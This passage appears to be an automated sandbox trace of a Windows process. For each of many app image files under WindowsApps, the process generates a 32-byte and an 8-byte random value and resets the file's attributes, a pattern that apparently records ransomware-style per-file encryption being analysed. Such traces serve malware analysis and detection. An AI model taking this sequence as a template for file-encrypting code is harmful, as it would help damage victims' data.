pbBuffer=0x37376d0) returned 1 [0219.090] SetFileAttributesW (lpFileName="\\Program Files\\WindowsApps\\Microsoft.Messaging_3.26.24002.0_neutral_split.scale-150_8wekyb3d8bbwe\\Assets\\starttile.wink.scale-150.png", dwFileAttributes=0x80) returned 0 [0219.090] CryptGenRandom (in: hProv=0x55a150, dwLen=0x20, pbBuffer=0x34cfc40 | out: pbBuffer=0x34cfc40) returned 1 [0219.090] CryptGenRandom (in: hProv=0x55a150, dwLen=0x8, pbBuffer=0x3737720 | out: pbBuffer=0x3737720) returned 1 [0219.090] SetFileAttributesW (lpFileName="\\Program Files\\WindowsApps\\Microsoft.Messaging_3.26.24002.0_neutral_split.scale-150_8wekyb3d8bbwe\\Assets\\starttile.surprise.small.scale-150.png", dwFileAttributes=0x80) returned 0 [0219.091] CryptGenRandom (in: hProv=0x55a150, dwLen=0x20, pbBuffer=0x34cff58 | out: pbBuffer=0x34cff58) returned 1 [0219.091] CryptGenRandom (in: hProv=0x55a150, dwLen=0x8, pbBuffer=0x37377a0 | out: pbBuffer=0x37377a0) returned 1 [0219.091] SetFileAttributesW (lpFileName="\\Program Files\\WindowsApps\\Microsoft.Messaging_3.26.24002.0_neutral_split.scale-150_8wekyb3d8bbwe\\Assets\\starttile.surprise.scale-150.png", dwFileAttributes=0x80) returned 0 [0219.091] CryptGenRandom (in: hProv=0x55a150, dwLen=0x20, pbBuffer=0x34cf2f8 | out: pbBuffer=0x34cf2f8) returned 1 [0219.091] CryptGenRandom (in: hProv=0x55a150, dwLen=0x8, pbBuffer=0x37377c0 | out: pbBuffer=0x37377c0) returned 1 [0219.091] SetFileAttributesW (lpFileName="\\Program Files\\WindowsApps\\Microsoft.Messaging_3.26.24002.0_neutral_split.scale-150_8wekyb3d8bbwe\\Assets\\starttile.smile.small.scale-150.png", dwFileAttributes=0x80) returned 0 [0219.091] CryptGenRandom (in: hProv=0x55a150, dwLen=0x20, pbBuffer=0x34ce278 | out: pbBuffer=0x34ce278) returned 1 [0219.091] CryptGenRandom (in: hProv=0x55a150, dwLen=0x8, pbBuffer=0x3737700 | out: pbBuffer=0x3737700) returned 1 [0219.091] SetFileAttributesW (lpFileName="\\Program Files\\WindowsApps\\Microsoft.Messaging_3.26.24002.0_neutral_split.scale-150_8wekyb3d8bbwe\\Assets\\starttile.smile.scale-150.png", dwFileAttributes=0x80) returned 0 [0219.092] CryptGenRandom (in: hProv=0x55a150, dwLen=0x20, pbBuffer=0x34cf400 | out: pbBuffer=0x34cf400) returned 1 [0219.092] CryptGenRandom (in: hProv=0x55a150, dwLen=0x8, pbBuffer=0x3737760 | out: pbBuffer=0x3737760) returned 1 [0219.092] SetFileAttributesW (lpFileName="\\Program Files\\WindowsApps\\Microsoft.Messaging_3.26.24002.0_neutral_split.scale-150_8wekyb3d8bbwe\\Assets\\starttile.scale-150.png", dwFileAttributes=0x80) returned 0 [0219.092] CryptGenRandom (in: hProv=0x55a150, dwLen=0x20, pbBuffer=0x34ce380 | out: pbBuffer=0x34ce380) returned 1 [0219.092] CryptGenRandom (in: hProv=0x55a150, dwLen=0x8, pbBuffer=0x3737780 | out: pbBuffer=0x3737780) returned 1 [0219.092] SetFileAttributesW (lpFileName="\\Program Files\\WindowsApps\\Microsoft.Messaging_3.26.24002.0_neutral_split.scale-150_8wekyb3d8bbwe\\Assets\\starttile.sad.small.scale-150.png", dwFileAttributes=0x80) returned 0 [0219.095] CryptGenRandom (in: hProv=0x55a150, dwLen=0x20, pbBuffer=0x34cf508 | out: pbBuffer=0x34cf508) returned 1 [0219.095] CryptGenRandom (in: hProv=0x55a150, dwLen=0x8, pbBuffer=0x3737690 | out: pbBuffer=0x3737690) returned 1 [0219.095] SetFileAttributesW (lpFileName="\\Program Files\\WindowsApps\\Microsoft.Messaging_3.26.24002.0_neutral_split.scale-150_8wekyb3d8bbwe\\Assets\\starttile.sad.scale-150.png", dwFileAttributes=0x80) returned 0 [0219.096] CryptGenRandom (in: hProv=0x55a150, dwLen=0x20, pbBuffer=0x34cf610 | out: pbBuffer=0x34cf610) returned 1 [0219.096] CryptGenRandom (in: hProv=0x55a150, dwLen=0x8, pbBuffer=0x37377e0 | out: pbBuffer=0x37377e0) returned 1 [0219.096] SetFileAttributesW (lpFileName="\\Program Files\\WindowsApps\\Microsoft.Messaging_3.26.24002.0_neutral_split.scale-150_8wekyb3d8bbwe\\Assets\\starttile.dualsim2.wink.small.scale-150.png", dwFileAttributes=0x80) returned 0 [0219.096] CryptGenRandom (in: hProv=0x55a150, dwLen=0x20, pbBuffer=0x34cf718 | out: pbBuffer=0x34cf718) returned 1 [0219.096] CryptGenRandom (in: hProv=0x55a150, dwLen=0x8, pbBuffer=0x37377f0 | out: pbBuffer=0x37377f0) returned 1 [0219.096] SetFileAttributesW (lpFileName="\\Program Files\\WindowsApps\\Microsoft.Messaging_3.26.24002.0_neutral_split.scale-150_8wekyb3d8bbwe\\Assets\\starttile.dualsim2.wink.scale-150.png", dwFileAttributes=0x80) returned 0 [0219.096] CryptGenRandom (in: hProv=0x55a150, dwLen=0x20, pbBuffer=0x34d0060 | out: pbBuffer=0x34d0060) returned 1 [0219.096] CryptGenRandom (in: hProv=0x55a150, dwLen=0x8, pbBuffer=0x3737650 | out: pbBuffer=0x3737650) returned 1 [0219.096] SetFileAttributesW (lpFileName="\\Program Files\\WindowsApps\\Microsoft.Messaging_3.26.24002.0_neutral_split.scale-150_8wekyb3d8bbwe\\Assets\\starttile.dualsim2.surprise.small.scale-150.png", dwFileAttributes=0x80) returned 0 [0219.097] CryptGenRandom (in: hProv=0x55a150, dwLen=0x20, pbBuffer=0x34cfa30 | out: pbBuffer=0x34cfa30) returned 1 [0219.097] CryptGenRandom (in: hProv=0x55a150, dwLen=0x8, pbBuffer=0x3737800 | out: pbBuffer=0x3737800) returned 1 [0219.097] SetFileAttributesW (lpFileName="\\Program Files\\WindowsApps\\Microsoft.Messaging_3.26.24002.0_neutral_split.scale-150_8wekyb3d8bbwe\\Assets\\starttile.dualsim2.surprise.scale-150.png", dwFileAttributes=0x80) returned 0 [0219.097] CryptGenRandom (in: hProv=0x55a150, dwLen=0x20, pbBuffer=0x34cfd48 | out: pbBuffer=0x34cfd48) returned 1 [0219.097] CryptGenRandom (in: hProv=0x55a150, dwLen=0x8, pbBuffer=0x3737810 | out: pbBuffer=0x3737810) returned 1 [0219.097] SetFileAttributesW (lpFileName="\\Program Files\\WindowsApps\\Microsoft.Messaging_3.26.24002.0_neutral_split.scale-150_8wekyb3d8bbwe\\Assets\\starttile.dualsim2.smile.small.scale-150.png", dwFileAttributes=0x80) returned 0 [0219.098] CryptGenRandom (in: hProv=0x55a150, dwLen=0x20, pbBuffer=0x33b5a00 | out: pbBuffer=0x33b5a00) returned 1 [0219.098] CryptGenRandom (in: hProv=0x55a150, dwLen=0x8, pbBuffer=0x3737660 | out: pbBuffer=0x3737660) returned 1 [0219.098] SetFileAttributesW (lpFileName="\\Program Files\\WindowsApps\\Microsoft.Messaging_3.26.24002.0_neutral_split.scale-150_8wekyb3d8bbwe\\Assets\\starttile.dualsim2.smile.scale-150.png", dwFileAttributes=0x80) returned 0 [0219.098] CryptGenRandom (in: hProv=0x55a150, dwLen=0x20, pbBuffer=0x34c30c0 | out: pbBuffer=0x34c30c0) returned 1 [0219.098] CryptGenRandom (in: hProv=0x55a150, dwLen=0x8, pbBuffer=0x3737670 | out: pbBuffer=0x3737670) returned 1 [0219.098] SetFileAttributesW (lpFileName="\\Program Files\\WindowsApps\\Microsoft.Messaging_3.26.24002.0_neutral_split.scale-150_8wekyb3d8bbwe\\Assets\\starttile.dualsim2.scale-150.png", dwFileAttributes=0x80) returned 0 [0219.099] CryptGenRandom (in: hProv=0x55a150, dwLen=0x20, pbBuffer=0x34dc9a0 | out: pbBuffer=0x34dc9a0) returned 1 [0219.099] CryptGenRandom (in: hProv=0x55a150, dwLen=0x8, pbBuffer=0x30ca380 | out: pbBuffer=0x30ca380) returned 1 [0219.099] SetFileAttributesW (lpFileName="\\Program Files\\WindowsApps\\Microsoft.Messaging_3.26.24002.0_neutral_split.scale-150_8wekyb3d8bbwe\\Assets\\starttile.dualsim2.sad.small.scale-150.png", dwFileAttributes=0x80) returned 0 [0219.099] CryptGenRandom (in: hProv=0x55a150, dwLen=0x20, pbBuffer=0x34ddc30 | out: pbBuffer=0x34ddc30) returned 1 [0219.099] CryptGenRandom (in: hProv=0x55a150, dwLen=0x8, pbBuffer=0x30ca3b0 | out: pbBuffer=0x30ca3b0) returned 1 [0219.099] SetFileAttributesW (lpFileName="\\Program Files\\WindowsApps\\Microsoft.Messaging_3.26.24002.0_neutral_split.scale-150_8wekyb3d8bbwe\\Assets\\starttile.dualsim2.sad.scale-150.png", dwFileAttributes=0x80) returned 0 [0219.100] CryptGenRandom (in: hProv=0x55a150, dwLen=0x20, pbBuffer=0x34dda20 | out: pbBuffer=0x34dda20) returned 1 [0219.100] CryptGenRandom (in: hProv=0x55a150, dwLen=0x8, pbBuffer=0x30ca440 | out: pbBuffer=0x30ca440) returned 1 [0219.100] SetFileAttributesW (lpFileName="\\Program Files\\WindowsApps\\Microsoft.Messaging_3.26.24002.0_neutral_split.scale-150_8wekyb3d8bbwe\\Assets\\starttile.dualsim1.wink.small.scale-150.png", dwFileAttributes=0x80) returned 0 [0219.100] CryptGenRandom (in: hProv=0x55a150, dwLen=0x20, pbBuffer=0x34ddd38 | out: pbBuffer=0x34ddd38) returned 1 [0219.100] CryptGenRandom (in: hProv=0x55a150, dwLen=0x8, pbBuffer=0x30ca360 | out: pbBuffer=0x30ca360) returned 1 [0219.100] SetFileAttributesW (lpFileName="\\Program Files\\WindowsApps\\Microsoft.Messaging_3.26.24002.0_neutral_split.scale-150_8wekyb3d8bbwe\\Assets\\starttile.dualsim1.wink.scale-150.png", dwFileAttributes=0x80) returned 0 [0219.101] CryptGenRandom (in: hProv=0x55a150, dwLen=0x20, pbBuffer=0x34dd0d8 | out: pbBuffer=0x34dd0d8) returned 1 [0219.101] CryptGenRandom (in: hProv=0x55a150, dwLen=0x8, pbBuffer=0x30ca2b0 | out: pbBuffer=0x30ca2b0) returned 1 [0219.101] SetFileAttributesW (lpFileName="\\Program Files\\WindowsApps\\Microsoft.Messaging_3.26.24002.0_neutral_split.scale-150_8wekyb3d8bbwe\\Assets\\starttile.dualsim1.surprise.small.scale-150.png", dwFileAttributes=0x80) returned 0 [0219.101] CryptGenRandom (in: hProv=0x55a150, dwLen=0x20, pbBuffer=0x34dc898 | out: pbBuffer=0x34dc898) returned 1 [0219.101] CryptGenRandom (in: hProv=0x55a150, dwLen=0x8, pbBuffer=0x30ca250 | out: pbBuffer=0x30ca250) returned 1 [0219.101] SetFileAttributesW (lpFileName="\\Program Files\\WindowsApps\\Microsoft.Messaging_3.26.24002.0_neutral_split.scale-150_8wekyb3d8bbwe\\Assets\\starttile.dualsim1.surprise.scale-150.png", dwFileAttributes=0x80) returned 0 [0219.101] CryptGenRandom (in: hProv=0x55a150, dwLen=0x20, pbBuffer=0x34dd810 | out: pbBuffer=0x34dd810) returned 1 [0219.101] CryptGenRandom (in: hProv=0x55a150, dwLen=0x8, pbBuffer=0x30ca320 | out: pbBuffer=0x30ca320) returned 1 [0219.102] SetFileAttributesW (lpFileName="\\Program Files\\WindowsApps\\Microsoft.Messaging_3.26.24002.0_neutral_split.scale-150_8wekyb3d8bbwe\\Assets\\starttile.dualsim1.smile.small.scale-150.png", dwFileAttributes=0x80) returned 0 [0219.102] CryptGenRandom (in: hProv=0x55a150, dwLen=0x20, pbBuffer=0x34dde40 | out: pbBuffer=0x34dde40) returned 1 [0219.102] CryptGenRandom (in: hProv=0x55a150, dwLen=0x8, pbBuffer=0x30ca2f0 | out: pbBuffer=0x30ca2f0) returned 1 [0219.102] SetFileAttributesW (lpFileName="\\Program Files\\WindowsApps\\Microsoft.Messaging_3.26.24002.0_neutral_split.scale-150_8wekyb3d8bbwe\\Assets\\starttile.dualsim1.smile.scale-150.png", dwFileAttributes=0x80) returned 0 [0219.102] CryptGenRandom (in: hProv=0x55a150, dwLen=0x20, pbBuffer=0x34dcfd0 | out: pbBuffer=0x34dcfd0) returned 1 [0219.102] CryptGenRandom (in: hProv=0x55a150, dwLen=0x8, pbBuffer=0x30ca400 | out: pbBuffer=0x30ca400) returned 1 [0219.102] SetFileAttributesW (lpFileName="\\Program Files\\WindowsApps\\Microsoft.Messaging_3.26.24002.0_neutral_split.scale-150_8wekyb3d8bbwe\\Assets\\starttile.dualsim1.scale-150.png", dwFileAttributes=0x80) returned 0 [0219.103] CryptGenRandom (in: hProv=0x55a150, dwLen=0x20, pbBuffer=0x34dcaa8 | out: pbBuffer=0x34dcaa8) returned 1 [0219.103] CryptGenRandom (in: hProv=0x55a150, dwLen=0x8, pbBuffer=0x30ca3c0 | out: pbBuffer=0x30ca3c0) returned 1 [0219.103] SetFileAttributesW (lpFileName="\\Program Files\\WindowsApps\\Microsoft.Messaging_3.26.24002.0_neutral_split.scale-150_8wekyb3d8bbwe\\Assets\\starttile.dualsim1.sad.small.scale-150.png", dwFileAttributes=0x80) returned 0 [0219.103] CryptGenRandom (in: hProv=0x55a150, dwLen=0x20, pbBuffer=0x34dcec8 | out: pbBuffer=0x34dcec8) returned 1 [0219.103] CryptGenRandom (in: hProv=0x55a150, dwLen=0x8, pbBuffer=0x30ca280 | out: pbBuffer=0x30ca280) returned 1 [0219.103] SetFileAttributesW (lpFileName="\\Program Files\\WindowsApps\\Microsoft.Messaging_3.26.24002.0_neutral_split.scale-150_8wekyb3d8bbwe\\Assets\\starttile.dualsim1.sad.scale-150.png", dwFileAttributes=0x80) returned 0 [0219.103] CryptGenRandom (in: hProv=0x55a150, dwLen=0x20, pbBuffer=0x34dc370 | out: pbBuffer=0x34dc370) returned 1 [0219.103] CryptGenRandom (in: hProv=0x55a150, dwLen=0x8, pbBuffer=0x30ca370 | out: pbBuffer=0x30ca370) returned 1 [0219.103] SetFileAttributesW (lpFileName="\\Program Files\\WindowsApps\\Microsoft.Messaging_3.26.24002.0_neutral_split.scale-150_8wekyb3d8bbwe\\Assets\\Square71x71Logo.scale-150.png", dwFileAttributes=0x80) returned 0 [0219.110] CryptGenRandom (in: hProv=0x55a150, dwLen=0x20, pbBuffer=0x34dd918 | out: pbBuffer=0x34dd918) returned 1 [0219.111] CryptGenRandom (in: hProv=0x55a150, dwLen=0x8, pbBuffer=0x30ca260 | out: pbBuffer=0x30ca260) returned 1 [0219.111] SetFileAttributesW (lpFileName="\\Program Files\\WindowsApps\\Microsoft.Messaging_3.26.24002.0_neutral_split.scale-150_8wekyb3d8bbwe\\Assets\\SmallLogo.scale-150.png", dwFileAttributes=0x80) returned 0 [0219.121] CryptGenRandom (in: hProv=0x55a150, dwLen=0x20, pbBuffer=0x34dd708 | out: pbBuffer=0x34dd708) returned 1 [0219.121] CryptGenRandom (in: hProv=0x55a150, dwLen=0x8, pbBuffer=0x30ca3d0 | out: pbBuffer=0x30ca3d0) returned 1 [0219.121] SetFileAttributesW (lpFileName="\\Program Files\\WindowsApps\\Microsoft.Messaging_3.26.24002.0_neutral_split.scale-150_8wekyb3d8bbwe\\Assets\\Logo.scale-150.png", dwFileAttributes=0x80) returned 0 [0219.122] CryptGenRandom (in: hProv=0x55a150, dwLen=0x20, pbBuffer=0x34dccb8 | out: pbBuffer=0x34dccb8) returned 1 [0219.122] CryptGenRandom (in: hProv=0x55a150, dwLen=0x8, pbBuffer=0x30ca3e0 | out: pbBuffer=0x30ca3e0) returned 1 [0219.122] SetFileAttributesW (lpFileName="\\Program Files\\WindowsApps\\Microsoft.Messaging_3.26.24002.0_neutral_split.scale-150_8wekyb3d8bbwe\\Assets\\BadgeLogo.scale-150.png", dwFileAttributes=0x80) returned 0 [0219.125] CryptGenRandom (in: hProv=0x55a150, dwLen=0x20, pbBuffer=0x34dc790 | out: pbBuffer=0x34dc790) returned 1 [0219.125] CryptGenRandom (in: hProv=0x55a150, dwLen=0x8, pbBuffer=0x30ca2a0 | out: pbBuffer=0x30ca2a0) returned 1 [0219.125] SetFileAttributesW (lpFileName="\\Program Files\\WindowsApps\\Microsoft.Messaging_3.26.24002.0_x64__8wekyb3d8bbwe\\Assets\\WideLogo.scale-200.png", dwFileAttributes=0x80) returned 0 [0219.127] CryptGenRandom (in: hProv=0x55a150, dwLen=0x20, pbBuffer=0x34d6dd8 | out: pbBuffer=0x34d6dd8) returned 1 [0219.127] CryptGenRandom (in: hProv=0x55a150, dwLen=0x8, pbBuffer=0x30ca340 | out: pbBuffer=0x30ca340) returned 1 [0219.127] SetFileAttributesW (lpFileName="\\Program Files\\WindowsApps\\Microsoft.Messaging_3.26.24002.0_x64__8wekyb3d8bbwe\\Assets\\toast.scale-200.png", dwFileAttributes=0x80) returned 0 [0219.128] CryptGenRandom (in: hProv=0x55a150, dwLen=0x20, pbBuffer=0x34d6598 | out: pbBuffer=0x34d6598) returned 1 [0219.128] CryptGenRandom (in: hProv=0x55a150, dwLen=0x8, pbBuffer=0x30ca2e0 | out: pbBuffer=0x30ca2e0) returned 1 [0219.128] SetFileAttributesW (lpFileName="\\Program Files\\WindowsApps\\Microsoft.Messaging_3.26.24002.0_x64__8wekyb3d8bbwe\\Assets\\toast.dualsim2.scale-200.png", dwFileAttributes=0x80) returned 0 [0219.128] CryptGenRandom (in: hProv=0x55a150, dwLen=0x20, pbBuffer=0x34d6fe8 | out: pbBuffer=0x34d6fe8) returned 1 [0219.128] CryptGenRandom (in: hProv=0x55a150, dwLen=0x8, pbBuffer=0x30ca300 | out: pbBuffer=0x30ca300) returned 1 [0219.128] SetFileAttributesW (lpFileName="\\Program Files\\WindowsApps\\Microsoft.Messaging_3.26.24002.0_x64__8wekyb3d8bbwe\\Assets\\toast.dualsim1.scale-200.png", dwFileAttributes=0x80) returned 0 [0219.129] CryptGenRandom (in: hProv=0x55a150, dwLen=0x20, pbBuffer=0x34d7e58 | out: pbBuffer=0x34d7e58) returned 1 [0219.129] CryptGenRandom (in: hProv=0x55a150, dwLen=0x8, pbBuffer=0x30ca3f0 | out: pbBuffer=0x30ca3f0) returned 1 [0219.129] SetFileAttributesW (lpFileName="\\Program Files\\WindowsApps\\Microsoft.Messaging_3.26.24002.0_x64__8wekyb3d8bbwe\\Assets\\StoreLogo.scale-200.png", dwFileAttributes=0x80) returned 0 [0219.130] CryptGenRandom (in: hProv=0x55a150, dwLen=0x20, pbBuffer=0x34d7930 | out: pbBuffer=0x34d7930) returned 1 [0219.130] CryptGenRandom (in: hProv=0x55a150, dwLen=0x8, pbBuffer=0x30ca330 | out: pbBuffer=0x30ca330) returned 1 [0219.130] SetFileAttributesW (lpFileName="\\Program Files\\WindowsApps\\Microsoft.Messaging_3.26.24002.0_x64__8wekyb3d8bbwe\\Assets\\starttile.wink.small.scale-200.png", dwFileAttributes=0x80) returned 0 [0219.130] CryptGenRandom (in: hProv=0x55a150, dwLen=0x20, pbBuffer=0x34dc688 | out: pbBuffer=0x34dc688) returned 1 [0219.131] CryptGenRandom (in: hProv=0x55a150, dwLen=0x8, pbBuffer=0x30ca2c0 | out: pbBuffer=0x30ca2c0) returned 1 [0219.131] SetFileAttributesW (lpFileName="\\Program Files\\WindowsApps\\Microsoft.Messaging_3.26.24002.0_x64__8wekyb3d8bbwe\\Assets\\starttile.wink.scale-200.png", dwFileAttributes=0x80) returned 0 [0219.131] CryptGenRandom (in: hProv=0x55a150, dwLen=0x20, pbBuffer=0x34d67a8 | out: pbBuffer=0x34d67a8) returned 1 [0219.131] CryptGenRandom (in: hProv=0x55a150, dwLen=0x8, pbBuffer=0x30ca310 | out: pbBuffer=0x30ca310) returned 1 [0219.131] SetFileAttributesW (lpFileName="\\Program Files\\WindowsApps\\Microsoft.Messaging_3.26.24002.0_x64__8wekyb3d8bbwe\\Assets\\starttile.surprise.small.scale-200.png", dwFileAttributes=0x80) returned 0 [0219.132] CryptGenRandom (in: hProv=0x55a150, dwLen=0x20, pbBuffer=0x34dd600 | out: pbBuffer=0x34dd600) returned 1 [0219.132] CryptGenRandom (in: hProv=0x55a150, dwLen=0x8, pbBuffer=0x30ca410 | out: pbBuffer=0x30ca410) returned 1 [0219.132] SetFileAttributesW (lpFileName="\\Program Files\\WindowsApps\\Microsoft.Messaging_3.26.24002.0_x64__8wekyb3d8bbwe\\Assets\\starttile.surprise.scale-200.png", dwFileAttributes=0x80) returned 0 [0219.132] CryptGenRandom (in: hProv=0x55a150, dwLen=0x20, pbBuffer=0x34d7f60 | out: pbBuffer=0x34d7f60) returned 1 [0219.132] CryptGenRandom (in: hProv=0x55a150, dwLen=0x8, pbBuffer=0x30ca270 | out: pbBuffer=0x30ca270) returned 1 [0219.132] SetFileAttributesW (lpFileName="\\Program Files\\WindowsApps\\Microsoft.Messaging_3.26.24002.0_x64__8wekyb3d8bbwe\\Assets\\starttile.smile.small.scale-200.png", dwFileAttributes=0x80) returned 0 [0219.132] CryptGenRandom (in: hProv=0x55a150, dwLen=0x20, pbBuffer=0x34ddb28 | out: pbBuffer=0x34ddb28) returned 1 [0219.132] CryptGenRandom (in: hProv=0x55a150, dwLen=0x8, pbBuffer=0x30ca350 | out: pbBuffer=0x30ca350) returned 1 [0219.132] SetFileAttributesW (lpFileName="\\Program Files\\WindowsApps\\Microsoft.Messaging_3.26.24002.0_x64__8wekyb3d8bbwe\\Assets\\starttile.smile.scale-200.png", dwFileAttributes=0x80) returned 0 [0219.132] CryptGenRandom (in: hProv=0x55a150, dwLen=0x20, pbBuffer=0x34d6070 | out: pbBuffer=0x34d6070) returned 1 [0219.132] CryptGenRandom (in: hProv=0x55a150, dwLen=0x8, pbBuffer=0x30ca390 | out: pbBuffer=0x30ca390) returned 1 [0219.132] SetFileAttributesW (lpFileName="\\Program Files\\WindowsApps\\Microsoft.Messaging_3.26.24002.0_x64__8wekyb3d8bbwe\\Assets\\starttile.scale-200.png", dwFileAttributes=0x80) returned 0 [0219.133] CryptGenRandom (in: hProv=0x55a150, dwLen=0x20, pbBuffer=0x34d68b0 | out: pbBuffer=0x34d68b0) returned 1 [0219.133] CryptGenRandom (in: hProv=0x55a150, dwLen=0x8, pbBuffer=0x30ca420 | out: pbBuffer=0x30ca420) returned 1 [0219.133] SetFileAttributesW (lpFileName="\\Program Files\\WindowsApps\\Microsoft.Messaging_3.26.24002.0_x64__8wekyb3d8bbwe\\Assets\\starttile.sad.small.scale-200.png", dwFileAttributes=0x80) returned 0 [0219.133] CryptGenRandom (in: hProv=0x55a150, dwLen=0x20, pbBuffer=0x34d6ee0 | out: pbBuffer=0x34d6ee0) returned 1 [0219.133] CryptGenRandom (in: hProv=0x55a150, dwLen=0x8, pbBuffer=0x30ca3a0 | out: pbBuffer=0x30ca3a0) returned 1 [0219.133] SetFileAttributesW (lpFileName="\\Program Files\\WindowsApps\\Microsoft.Messaging_3.26.24002.0_x64__8wekyb3d8bbwe\\Assets\\starttile.sad.scale-200.png", dwFileAttributes=0x80) returned 0 [0219.133] CryptGenRandom (in: hProv=0x55a150, dwLen=0x20, pbBuffer=0x34d8068 | out: pbBuffer=0x34d8068) returned 1 [0219.133] CryptGenRandom (in: hProv=0x55a150, dwLen=0x8, pbBuffer=0x30ca430 | out: pbBuffer=0x30ca430) returned 1 [0219.133] SetFileAttributesW (lpFileName="\\Program Files\\WindowsApps\\Microsoft.Messaging_3.26.24002.0_x64__8wekyb3d8bbwe\\Assets\\starttile.dualsim2.wink.small.scale-200.png", dwFileAttributes=0x80) returned 0 [0219.133] CryptGenRandom (in: hProv=0x55a150, dwLen=0x20, pbBuffer=0x34d6178 | out: pbBuffer=0x34d6178) returned 1 [0219.133] CryptGenRandom (in: hProv=0x55a150, dwLen=0x8, pbBuffer=0x30ca290 | out: pbBuffer=0x30ca290) returned 1 [0219.133] SetFileAttributesW (lpFileName="\\Program Files\\WindowsApps\\Microsoft.Messaging_3.26.24002.0_x64__8wekyb3d8bbwe\\Assets\\starttile.dualsim2.wink.scale-200.png", dwFileAttributes=0x80) returned 0 [0219.133] CryptGenRandom (in: hProv=0x55a150, dwLen=0x20, pbBuffer=0x34dc580 | out: pbBuffer=0x34dc580) returned 1 [0219.133] CryptGenRandom (in: hProv=0x55a150, dwLen=0x8, pbBuffer=0x30ca2d0 | out: pbBuffer=0x30ca2d0) returned 1 [0219.134] SetFileAttributesW (lpFileName="\\Program Files\\WindowsApps\\Microsoft.Messaging_3.26.24002.0_x64__8wekyb3d8bbwe\\Assets\\starttile.dualsim2.surprise.small.scale-200.png", dwFileAttributes=0x80) returned 0 [0219.134] CryptGenRandom (in: hProv=0x55a150, dwLen=0x20, pbBuffer=0x34d6280 | out: pbBuffer=0x34d6280) returned 1 [0219.134] CryptGenRandom (in: hProv=0x55a150, dwLen=0x8, pbBuffer=0x30ca4a0 | out: pbBuffer=0x30ca4a0) returned 1 [0219.134] SetFileAttributesW (lpFileName="\\Program Files\\WindowsApps\\Microsoft.Messaging_3.26.24002.0_x64__8wekyb3d8bbwe\\Assets\\starttile.dualsim2.surprise.scale-200.png", dwFileAttributes=0x80) returned 0 [0219.134] CryptGenRandom (in: hProv=0x55a150, dwLen=0x20, pbBuffer=0x34dd4f8 | out: pbBuffer=0x34dd4f8) returned 1 [0219.134] CryptGenRandom (in: hProv=0x55a150, dwLen=0x8, pbBuffer=0x30ca580 | out: pbBuffer=0x30ca580) returned 1 [0219.134] SetFileAttributesW (lpFileName="\\Program Files\\WindowsApps\\Microsoft.Messaging_3.26.24002.0_x64__8wekyb3d8bbwe\\Assets\\starttile.dualsim2.smile.small.scale-200.png", dwFileAttributes=0x80) returned 0 [0219.134] CryptGenRandom (in: hProv=0x55a150, dwLen=0x20, pbBuffer=0x34d6bc8 | out: pbBuffer=0x34d6bc8) returned 1 [0219.134] CryptGenRandom (in: hProv=0x55a150, dwLen=0x8, pbBuffer=0x30ca5d0 | out: pbBuffer=0x30ca5d0) returned 1 [0219.134] SetFileAttributesW (lpFileName="\\Program Files\\WindowsApps\\Microsoft.Messaging_3.26.24002.0_x64__8wekyb3d8bbwe\\Assets\\starttile.dualsim2.smile.scale-200.png", dwFileAttributes=0x80) returned 0 [0219.134] CryptGenRandom (in: hProv=0x55a150, dwLen=0x20, pbBuffer=0x34dcbb0 | out: pbBuffer=0x34dcbb0) returned 1 [0219.134] CryptGenRandom (in: hProv=0x55a150, dwLen=0x8, pbBuffer=0x30ca5e0 | out: pbBuffer=0x30ca5e0) returned 1 [0219.134] SetFileAttributesW (lpFileName="\\Program Files\\WindowsApps\\Microsoft.Messaging_3.26.24002.0_x64__8wekyb3d8bbwe\\Assets\\starttile.dualsim2.scale-200.png", dwFileAttributes=0x80) returned 0 [0219.135] CryptGenRandom (in: hProv=0x55a150, dwLen=0x20, pbBuffer=0x34d6388 | out: pbBuffer=0x34d6388) returned 1 [0219.135] CryptGenRandom (in: hProv=0x55a150, dwLen=0x8, pbBuffer=0x30ca4e0 | out: pbBuffer=0x30ca4e0) returned 1 [0219.135] SetFileAttributesW (lpFileName="\\Program Files\\WindowsApps\\Microsoft.Messaging_3.26.24002.0_x64__8wekyb3d8bbwe\\Assets\\starttile.dualsim2.sad.small.scale-200.png", dwFileAttributes=0x80) returned 0 [0219.135] CryptGenRandom (in: hProv=0x55a150, dwLen=0x20, pbBuffer=0x34d6490 | out: pbBuffer=0x34d6490) returned 1 [0219.135] CryptGenRandom (in: hProv=0x55a150, dwLen=0x8, pbBuffer=0x30ca4f0 | out: pbBuffer=0x30ca4f0) returned 1 [0219.135] SetFileAttributesW (lpFileName="\\Program Files\\WindowsApps\\Microsoft.Messaging_3.26.24002.0_x64__8wekyb3d8bbwe\\Assets\\starttile.dualsim2.sad.scale-200.png", dwFileAttributes=0x80) returned 0 [0219.135] CryptGenRandom (in: hProv=0x55a150, dwLen=0x20, pbBuffer=0x34dd1e0 | out: pbBuffer=0x34dd1e0) returned 1 [0219.135] CryptGenRandom (in: hProv=0x55a150, dwLen=0x8, pbBuffer=0x30ca610 | out: pbBuffer=0x30ca610) returned 1 [0219.135] SetFileAttributesW (lpFileName="\\Program Files\\WindowsApps\\Microsoft.Messaging_3.26.24002.0_x64__8wekyb3d8bbwe\\Assets\\starttile.dualsim1.wink.small.scale-200.png", dwFileAttributes=0x80) returned 0 [0219.135] CryptGenRandom (in: hProv=0x55a150, dwLen=0x20, pbBuffer=0x34d7a38 | out: pbBuffer=0x34d7a38) returned 1 [0219.135] CryptGenRandom (in: hProv=0x55a150, dwLen=0x8, pbBuffer=0x30ca620 | out: pbBuffer=0x30ca620) returned 1 [0219.135] SetFileAttributesW (lpFileName="\\Program Files\\WindowsApps\\Microsoft.Messaging_3.26.24002.0_x64__8wekyb3d8bbwe\\Assets\\starttile.dualsim1.wink.scale-200.png", dwFileAttributes=0x80) returned 0 [0219.136] CryptGenRandom (in: hProv=0x55a150, dwLen=0x20, pbBuffer=0x34dd3f0 | out: pbBuffer=0x34dd3f0) returned 1 [0219.136] CryptGenRandom (in: hProv=0x55a150, dwLen=0x8, pbBuffer=0x30ca4b0 | out: pbBuffer=0x30ca4b0) returned 1 [0219.136] SetFileAttributesW (lpFileName="\\Program Files\\WindowsApps\\Microsoft.Messaging_3.26.24002.0_x64__8wekyb3d8bbwe\\Assets\\starttile.dualsim1.surprise.small.scale-200.png", dwFileAttributes=0x80) returned 0 [0219.136] CryptGenRandom (in: hProv=0x55a150, dwLen=0x20, pbBuffer=0x34d6ac0 | out: pbBuffer=0x34d6ac0) returned 1 [0219.136] CryptGenRandom (in: hProv=0x55a150, dwLen=0x8, pbBuffer=0x30ca450 | out: pbBuffer=0x30ca450) returned 1 [0219.136] SetFileAttributesW (lpFileName="\\Program 